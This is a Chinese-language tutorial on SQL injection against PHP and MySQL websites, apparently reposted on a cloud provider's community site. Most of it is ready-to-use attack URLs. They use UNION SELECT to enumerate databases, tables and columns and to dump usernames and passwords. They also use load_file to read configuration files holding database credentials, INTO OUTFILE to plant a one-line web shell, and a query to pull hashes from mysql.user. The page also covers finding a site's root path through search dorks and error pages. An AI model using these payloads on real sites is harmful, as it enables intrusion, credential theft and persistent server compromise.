php+mysql注入

來源:互聯網
上載者:User

標籤:

  1. SQL簡單命令介紹:
  2. mysql.exe -u 使用者名稱  -p  密碼  -h  ip地址
  3. show databases;查看資料庫
  4. select version();php注入下的版本號碼
  5. use database(表名);
  6. show tables;顯示這張表的表名
  7. select * from table;
  8. insert update  等
  9. into outfile ‘路徑‘   (匯出資料到路徑)
  10. select load_file(hex)    查看路徑hex編碼內容

注入用到的SQL函數:

  1. version()  版本(這點很重要,決定注入方式)
  2. database()  資料庫名    -->知道資料庫名,然後用它擷取表
  3. user()   目前使用者
  4. @@version_compile_os  作業系統

注入流程:

  1. 判斷是否有注入:http:www.cc.com/show.php?id=1
  2. order by來擷取列數:比如是5
  3. 然後UNION SELECT來擷取資訊:http:www.cc.com/show.php?id=1 and 1=2 UNION SELECT  1,2,3,4,5 --(看報錯的位置,比如爆出2,3,4,5)
  4. 然後擷取版本號碼、資料庫名、目前使用者、作業系統等資訊;http://www.cc.com/show.php?id=1 UNION SELECT 1,version(),database(),user(),@@version_compile_os --
  5. 然 後爆表名:http://www.cc.com/show.php?id=1 UNION SELECT 1,table_name,4,5 from information_schema.tables where table_schema=hex(資料庫名),如果全部爆出表名,那麼應該為group_concat(table_name);
  6. 然 後爆列名:http:www.cc.com/show.php?id=1 UNION SELECT 1,2,column_name ,4,5 from information_schema.schema.columns where table_name=hex(表名);全部爆出列名用group_concat(column_name);
  7. 最後爆欄位:http:www.cc.com/show.php?id=1 UNION SELECT 1,使用者名稱,3,密碼,5 from 表名.

總結:

  資料庫名:

      表名:

        列名:

          最後爆欄位:

 

許可權下注入入侵

  1. 需要root許可權或者更高的許可權
  2. 查看檔案擷取相關資訊:load_file
  3. 匯入匯出一句話拿webshell:  into outfile

擷取網站根路徑:

  1. Google駭客   site:網址  waring
  2. 檔案報錯(主要在後面加上單引號什麼的錯誤字元,查看是否報錯)
  3. 查看敏感檔案: info.php  phpinfo.php  test.php等暴露出的網站php的資訊中有網站的根目錄

舉例:

  1. 通過上面擷取網站根目錄:例如 D:/web/www/index.php;
  2. 查看檔案擷取相關資訊:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2, load_file(‘D:/web/www/index.php‘),4,5 --
  3. 查看php中資料庫的檔案:嘗試 conn.php common.php config.php或者通過掃描器爬行有哪些檔案,如:http://www.cc.com/conn.php沒有報錯,但是沒有顯示資訊;
  4. 然後通過http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2,load_file(‘D:/web/www/con.php‘),4,5 --
  5. 注意load_file檔案中如果不用單引號,則必須用hex進行編碼。
  6. 匯出一句話拿webshell:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2, ‘一句話木馬‘,4,5 into outfile ‘D:/web/www/manage/upload/img/1.php‘(網站路徑,這裡擷取是可以掃描,還是?)
  7. 擷取資料庫帳號和密碼:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2,3,password,5 from mysql.user;

php+mysql注入

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.